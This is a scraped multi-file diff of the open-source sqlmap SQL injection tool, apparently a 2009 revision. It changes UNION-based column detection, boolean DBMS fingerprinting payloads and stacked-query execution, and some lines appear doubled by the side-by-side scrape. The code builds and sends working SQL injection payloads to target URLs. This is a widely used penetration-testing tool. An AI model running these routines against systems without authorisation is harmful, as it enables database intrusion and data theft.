sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
@@ -33,14 +33,34 @@ from lib.core.session import setUnion
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
def __effectiveUnionTest(query, comment): def __forgeUserFriendlyValue(payload):
value = ""
if kb.injPlace == "GET":
value = "%s?%s" % (conf.url, payload)
elif kb.injPlace == "POST":
value = "URL:\t'%s'" % conf.url
value += "\nPOST:\t'%s'\n" % payload
elif kb.injPlace == "Cookie":
value = "URL:\t'%s'" % conf.url
value += "\nCookie:\t'%s'\n" % payload
elif kb.injPlace == "User-Agent":
value = "URL:\t\t'%s'" % conf.url
value += "\nUser-Agent:\t'%s'\n" % payload
return value
def __unionTestByNULLBruteforce(comment):
""" """
This method tests if the target url is affected by an inband This method tests if the target url is affected by an inband
SQL injection vulnerability. The test is done up to 50 columns SQL injection vulnerability. The test is done up to 50 columns
on the target database table on the target database table
""" """
resultDict = {} columns = None
value = None
query = agent.prefixQuery(" UNION ALL SELECT NULL")
for count in range(0, 50): for count in range(0, 50):
if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"): if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
@@ -53,32 +73,39 @@ def __effectiveUnionTest(query, comment):
query += " FROM DUAL" query += " FROM DUAL"
commentedQuery = agent.postfixQuery(query, comment) commentedQuery = agent.postfixQuery(query, comment)
payload = agent.payload(newValue=commentedQuery) payload = agent.payload(newValue=commentedQuery)
newResult = Request.queryPage(payload) seqMatcher = Request.queryPage(payload, getSeqMatcher=True)
if not newResult in resultDict.keys(): if seqMatcher >= 0.6:
resultDict[newResult] = (1, commentedQuery) columns = count + 1
else: value = __forgeUserFriendlyValue(payload)
resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)
if count: break
for element in resultDict.values():
if element[0] == 1:
if kb.injPlace == "GET":
value = "%s?%s" % (conf.url, payload)
elif kb.injPlace == "POST":
value = "URL:\t'%s'" % conf.url
value += "\nPOST:\t'%s'\n" % payload
elif kb.injPlace == "Cookie":
value = "URL:\t'%s'" % conf.url
value += "\nCookie:\t'%s'\n" % payload
elif kb.injPlace == "User-Agent":
value = "URL:\t\t'%s'" % conf.url
value += "\nUser-Agent:\t'%s'\n" % payload
return value return value, columns
return None
def __unionTestByOrderBy(comment):
columns = None
value = None
for count in range(1, 51):
query = agent.prefixQuery(" ORDER BY %d" % count)
orderByQuery = agent.postfixQuery(query, comment)
payload = agent.payload(newValue=orderByQuery)
seqMatcher = Request.queryPage(payload, getSeqMatcher=True)
if seqMatcher >= 0.6:
columns = count
elif columns:
value = __forgeUserFriendlyValue(prevPayload)
break
prevPayload = payload
return value, columns
def unionTest(): def unionTest():
@@ -87,19 +114,26 @@ def unionTest():
SQL injection vulnerability. The test is done up to 3*50 times SQL injection vulnerability. The test is done up to 3*50 times
""" """
if conf.uTech == "orderby":
technique = "ORDER BY clause bruteforcing"
else:
technique = "NULL bruteforcing"
logMsg = "testing inband sql injection on parameter " logMsg = "testing inband sql injection on parameter "
logMsg += "'%s'" % kb.injParameter logMsg += "'%s' with %s technique" % (kb.injParameter, technique)
logger.info(logMsg) logger.info(logMsg)
value = "" value = ""
columns = None
query = agent.prefixQuery(" UNION ALL SELECT NULL")
for comment in (queries[kb.dbms].comment, ""): for comment in (queries[kb.dbms].comment, ""):
value = __effectiveUnionTest(query, comment) if conf.uTech == "orderby":
value, columns = __unionTestByOrderBy(comment)
else:
value, columns = __unionTestByNULLBruteforce(comment)
if value: if columns:
setUnion(comment, value.count("NULL")) setUnion(comment, columns)
break break

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
@@ -159,7 +159,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
conf.paramNegative = True conf.paramNegative = True
if conf.paramNegative == True and direct == False: if conf.paramNegative == True and direct == False:
_, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr) _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
if len(expressionFieldsList) > 1: if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than a field. " infoMsg = "the SQL query provided has more than a field. "
@@ -187,7 +187,17 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
stopLimit = limitRegExp.group(int(limitGroupStop)) stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1 limitCond = int(stopLimit) > 1
elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ): elif kb.dbms == "Microsoft SQL Server":
limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif kb.dbms == "Oracle":
limitCond = False limitCond = False
else: else:
limitCond = True limitCond = True
@@ -206,6 +216,9 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
untilLimitChar = expression.index(queries[kb.dbms].limitstring) untilLimitChar = expression.index(queries[kb.dbms].limitstring)
expression = expression[:untilLimitChar] expression = expression[:untilLimitChar]
elif kb.dbms == "Microsoft SQL Server":
stopLimit += startLimit
if not stopLimit or stopLimit <= 1: if not stopLimit or stopLimit <= 1:
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"): if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
test = False test = False
@@ -261,7 +274,21 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
return return
for num in xrange(startLimit, stopLimit): for num in xrange(startLimit, stopLimit):
limitedExpr = agent.limitQuery(num, expression, expressionFieldsList) if kb.dbms == "Microsoft SQL Server":
orderBy = re.search(" ORDER BY ([\w\_]+)", expression, re.I)
if orderBy:
field = orderBy.group(1)
else:
field = expressionFieldsList[0]
elif kb.dbms == "Oracle":
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = unionUse(limitedExpr, direct=True, unescape=False) output = unionUse(limitedExpr, direct=True, unescape=False)
if output: if output:
@@ -273,7 +300,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
else: else:
# Forge the inband SQL injection request # Forge the inband SQL injection request
query = agent.forgeInbandQuery(expression) query = agent.forgeInbandQuery(expression)
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
infoMsg = "query: %s" % query infoMsg = "query: %s" % query

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
@@ -76,7 +76,7 @@ def checkForParenthesis():
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
result = Request.queryPage(payload) result = Request.queryPage(payload)
if result == kb.defaultResult: if result == True:
count = parenthesis count = parenthesis
logMsg = "the injectable parameter requires %d parenthesis" % count logMsg = "the injectable parameter requires %d parenthesis" % count

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
@@ -176,19 +176,26 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
logMsg = "testing Microsoft SQL Server" logMsg = "testing Microsoft SQL Server"
logger.info(logMsg) logger.info(logMsg)
randInt = str(randomInt(1)) payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)")
query = "LTRIM(STR(LEN(%s)))" % randInt result = Request.queryPage(payload)
if inject.getValue(query) == "1": if result == True:
query = "SELECT SUBSTRING((@@VERSION), 25, 1)" logMsg = "confirming Microsoft SQL Server"
version = inject.getValue(query) logger.info(logMsg)
if version == "8": for version in ( 0, 5, 8 ):
kb.dbmsVersion = ["2008"] payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 25, 1)=%d" % version)
elif version == "5": result = Request.queryPage(payload)
kb.dbmsVersion = ["2005"]
elif version == "0": if result == True:
kb.dbmsVersion = ["2000"] if version == 8:
kb.dbmsVersion = ["2008"]
elif version == 5:
kb.dbmsVersion = ["2005"]
elif version == 0:
kb.dbmsVersion = ["2000"]
break
if kb.dbmsVersion: if kb.dbmsVersion:
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0]) setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
@@ -133,7 +133,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
result = Request.queryPage(payload) result = Request.queryPage(payload)
if result != kb.defaultResult: if result != True:
warnMsg = "unable to perform MySQL comment injection" warnMsg = "unable to perform MySQL comment injection"
logger.warn(warnMsg) logger.warn(warnMsg)
@@ -161,7 +161,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
result = Request.queryPage(payload) result = Request.queryPage(payload)
if result == kb.defaultResult: if result == True:
if not prevVer: if not prevVer:
prevVer = version prevVer = version
@@ -249,15 +249,18 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
logger.info(logMsg) logger.info(logMsg)
randInt = str(randomInt(1)) randInt = str(randomInt(1))
query = "CONCAT('%s', '%s')" % (randInt, randInt)
if inject.getValue(query) == (randInt * 2): payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()")
result = Request.queryPage(payload)
if result == True:
logMsg = "confirming MySQL" logMsg = "confirming MySQL"
logger.info(logMsg) logger.info(logMsg)
query = "LENGTH('%s')" % randInt payload = agent.fullPayload(" AND ISNULL(1/0)")
result = Request.queryPage(payload)
if not inject.getValue(query) == "1": if result != True:
warnMsg = "the back-end DMBS is not MySQL" warnMsg = "the back-end DMBS is not MySQL"
logger.warn(warnMsg) logger.warn(warnMsg)
@@ -282,23 +285,15 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
kb.dbmsVersion = [">= 6.0.3", "< 6.0.5"] kb.dbmsVersion = [">= 6.0.3", "< 6.0.5"]
# Or if it MySQL >= 5.1.2 and < 6.0.3 # Or if it MySQL >= 5.1.2 and < 6.0.3
elif inject.getValue("MID(@@plugin_dir, 1, 1)"): elif inject.getValue("MID(@@table_open_cache, 1, 1)"):
if inject.getValue("SELECT %s FROM information_schema.PROFILING LIMIT 0, 1" % randInt) == randInt: if inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = [">= 5.1.28", "< 6.0.3"] kb.dbmsVersion = [">= 5.1.7", "< 6.0.3"]
elif inject.getValue("MID(@@innodb_stats_on_metadata, 1, 1)"):
kb.dbmsVersion = [">= 5.1.17", "< 5.1.28"]
elif inject.getValue("SELECT %s FROM information_schema.REFERENTIAL_CONSTRAINTS LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = [">= 5.1.10", "< 5.1.17"]
elif inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = [">= 5.1.7", "< 5.1.10"]
elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt) == randInt: elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = ["= 5.1.6"] kb.dbmsVersion = ["= 5.1.6"]
elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt) == randInt: elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"] kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"]
elif inject.getValue("MID(@@table_open_cache, 1, 1)"):
kb.dbmsVersion = [">= 5.1.3", "< 5.1.5"]
else: else:
kb.dbmsVersion = ["= 5.1.2"] kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"]
# Or if it is MySQL >= 5.0.0 and < 5.1.2 # Or if it is MySQL >= 5.0.0 and < 5.1.2
elif inject.getValue("MID(@@hostname, 1, 1)"): elif inject.getValue("MID(@@hostname, 1, 1)"):

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
@@ -26,6 +26,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re import re
from lib.core.agent import agent
from lib.core.common import formatDBMSfp from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp from lib.core.common import getHtmlErrorFp
@@ -38,6 +39,7 @@ from lib.core.settings import ORACLE_ALIASES
from lib.core.settings import ORACLE_SYSTEM_DBS from lib.core.settings import ORACLE_SYSTEM_DBS
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.request import inject from lib.request import inject
from lib.request.connect import Connect as Request
from plugins.generic.enumeration import Enumeration from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem from plugins.generic.filesystem import Filesystem
@@ -163,17 +165,17 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
logMsg = "testing Oracle" logMsg = "testing Oracle"
logger.info(logMsg) logger.info(logMsg)
query = "LENGTH(SYSDATE)" payload = agent.fullPayload(" AND ROWNUM=ROWNUM")
sysdate = inject.getValue(query) result = Request.queryPage(payload)
if sysdate and int(sysdate) > 0: if result == True:
logMsg = "confirming Oracle" logMsg = "confirming Oracle"
logger.info(logMsg) logger.info(logMsg)
query = "SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1" payload = agent.fullPayload(" AND LENGTH(SYSDATE)=LENGTH(SYSDATE)")
version = inject.getValue(query) result = Request.queryPage(payload)
if not version: if result != True:
warnMsg = "the back-end DMBS is not Oracle" warnMsg = "the back-end DMBS is not Oracle"
logger.warn(warnMsg) logger.warn(warnMsg)
@@ -186,6 +188,9 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
if not conf.extensiveFp: if not conf.extensiveFp:
return True return True
query = "SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1"
version = inject.getValue(query)
if re.search("^11", version): if re.search("^11", version):
kb.dbmsVersion = ["11i"] kb.dbmsVersion = ["11i"]
elif re.search("^10", version): elif re.search("^10", version):

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
@@ -26,6 +26,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re import re
from lib.core.agent import agent
from lib.core.common import formatDBMSfp from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp from lib.core.common import getHtmlErrorFp
@@ -39,6 +40,7 @@ from lib.core.settings import PGSQL_ALIASES
from lib.core.settings import PGSQL_SYSTEM_DBS from lib.core.settings import PGSQL_SYSTEM_DBS
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.request import inject from lib.request import inject
from lib.request.connect import Connect as Request
from plugins.generic.enumeration import Enumeration from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem from plugins.generic.filesystem import Filesystem
@@ -168,15 +170,18 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
logger.info(logMsg) logger.info(logMsg)
randInt = str(randomInt(1)) randInt = str(randomInt(1))
query = "COALESCE(%s, NULL)" % randInt
if inject.getValue(query) == randInt: payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt))
result = Request.queryPage(payload)
if result == True:
logMsg = "confirming PostgreSQL" logMsg = "confirming PostgreSQL"
logger.info(logMsg) logger.info(logMsg)
query = "LENGTH('%s')" % randInt payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt))
result = Request.queryPage(payload)
if not inject.getValue(query) == "1": if result != True:
warnMsg = "the back-end DMBS is not PostgreSQL" warnMsg = "the back-end DMBS is not PostgreSQL"
logger.warn(warnMsg) logger.warn(warnMsg)

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
@@ -39,11 +39,13 @@ from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapNoneDataException from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUndefinedMethod from lib.core.exception import sqlmapUndefinedMethod
from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.settings import SQL_STATEMENTS
from lib.core.shell import autoCompletion from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.parse.banner import bannerParser from lib.parse.banner import bannerParser
from lib.request import inject from lib.request import inject
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from lib.techniques.outband.stacked import stackedTest
class Enumeration: class Enumeration:
@@ -120,7 +122,7 @@ class Enumeration:
infoMsg = "testing if current user is DBA" infoMsg = "testing if current user is DBA"
logger.info(infoMsg) logger.info(infoMsg)
query = queries[kb.dbms].isDba query = agent.forgeCaseStatement(queries[kb.dbms].isDba)
self.isDba = inject.getValue(query) self.isDba = inject.getValue(query)
@@ -204,6 +206,12 @@ class Enumeration:
query += " WHERE " query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, user) for user in users) query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
else: else:
if kb.dbms == "MySQL":
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
if parsedUser:
conf.user = parsedUser.groups()[0]
query += " WHERE %s = '%s'" % (condition, conf.user) query += " WHERE %s = '%s'" % (condition, conf.user)
value = inject.getValue(query, blind=False) value = inject.getValue(query, blind=False)
@@ -236,7 +244,7 @@ class Enumeration:
for user in users: for user in users:
if kb.dbms == "MySQL": if kb.dbms == "MySQL":
parsedUser = re.search("\047(.*?)\047@'", user) parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser: if parsedUser:
user = parsedUser.groups()[0] user = parsedUser.groups()[0]
@@ -384,6 +392,12 @@ class Enumeration:
else: else:
query += " OR ".join("%s = '%s'" % (condition, user) for user in users) query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
else: else:
if kb.dbms == "MySQL":
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
if parsedUser:
conf.user = parsedUser.groups()[0]
# NOTE: I assume that the user provided is not in # NOTE: I assume that the user provided is not in
# MySQL >= 5.0 syntax 'user'@'host' # MySQL >= 5.0 syntax 'user'@'host'
if kb.dbms == "MySQL" and self.has_information_schema: if kb.dbms == "MySQL" and self.has_information_schema:
@@ -447,6 +461,11 @@ class Enumeration:
for user in conf.user.split(","): for user in conf.user.split(","):
users.add("%" + user + "%") users.add("%" + user + "%")
else: else:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
if parsedUser:
conf.user = parsedUser.groups()[0]
users = [ "%" + conf.user + "%" ] users = [ "%" + conf.user + "%" ]
elif "," in conf.user: elif "," in conf.user:
@@ -1038,15 +1057,50 @@ class Enumeration:
def sqlQuery(self, query): def sqlQuery(self, query):
infoMsg = "fetching SQL SELECT query output: '%s'" % query output = None
logger.info(infoMsg) selectQuery = True
sqlType = None
output = inject.getValue(query, fromUser=True) for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
for sqlStatement in sqlStatements:
if query.lower().startswith(sqlStatement):
sqlType = sqlTitle
if output == "Quit": if sqlTitle != "SQL SELECT statement":
return None selectQuery = False
break
if selectQuery == True:
infoMsg = "fetching %s query output: '%s'" % (sqlType, query)
logger.info(infoMsg)
output = inject.getValue(query, fromUser=True)
else: else:
return output if kb.stackedTest == None:
stackedTest()
if kb.stackedTest == False:
warnMsg = "the web application does not support "
warnMsg += "stacked queries"
logger.warn(warnMsg)
return None
else:
if sqlType:
infoMsg = "executing %s query: '%s'" % (sqlType, query)
else:
infoMsg = "executing unknown SQL type query: '%s'" % query
logger.info(infoMsg)
inject.goStacked(query)
infoMsg = "done"
logger.info(infoMsg)
output = False
return output
def sqlShell(self): def sqlShell(self):
@@ -1081,5 +1135,9 @@ class Enumeration:
if output and output != "Quit": if output and output != "Quit":
dumper.string(query, output) dumper.string(query, output)
elif output == False:
pass
elif output != "Quit": elif output != "Quit":
print "No output" print "No output"

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
